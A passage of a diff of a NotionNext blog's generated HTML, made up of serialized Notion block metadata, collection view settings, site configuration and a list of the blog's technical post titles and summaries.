总结归纳"]]},"format":{"copied_from_pointer":{"id":"f14c85c5-75ad-4c1d-b8f8-4be24384f916","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"f14c85c5-75ad-4c1d-b8f8-4be24384f916"}},"78957a63-8c78-4cad-8e88-ea846ae3923e":{"value":{"id":"78957a63-8c78-4cad-8e88-ea846ae3923e","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"a3776539-6d71-436a-bb89-fb5acc3f733e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"a3776539-6d71-436a-bb89-fb5acc3f733e"}},"5410740b-7970-4e09-93dd-615a87d752b1":{"value":{"id":"5410740b-7970-4e09-93dd-615a87d752b1","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"997d7b25-32fd-421f-a3c5-0d0fb0c4d944","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"997d7b25-32fd-421f-a3c5-0d0fb0c4d944"}},"5cec45b0-794e-4344-812b-b0c8e4740cc9":{"value":{"id":"5cec45b0-794e-4344-812b-b0c8e4740cc9","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"048841e3-b2d7-49f0-8266-00c984d20b17","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337123,"last_edited_time":1705594337123,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"048841e3-b2d7-49f0-8266-00c984d20b17"}},"ad8c852b-45ac-4cfd-a0f8-04e364cc9311":{"value":{"id":"ad8c852b-45ac-4cfd-a0f8-04e364cc9311","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"3adfa1f3-6400-4eaf-a466-63c6185b31ad","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337123,"last_edited_time":1705594337123,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"3adfa1f3-6400-4eaf-a466-63c6185b31ad"}},"8999dbca-3606-4af4-8f6f-5581cd3e6113":{"value":{"id":"8999dbca-3606-4af4-8f6f-5581cd3e6113","type":"text","format":{"copied_from_pointer":{"id":"a881a6bd-d64c-4a11-8cd2-9c0d6ff2eb19","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"a881a6bd-d64c-4a11-8cd2-9c0d6ff2eb19"}},"6d026f65-ee53-4d6a-b31b-e7a374565243":{"value":{"id":"6d026f65-ee53-4d6a-b31b-e7a374565243","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"4d158723-15c6-449e-becb-ead51335bb31","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"4d158723-15c6-449e-becb-ead51335bb31"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"example-7"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站"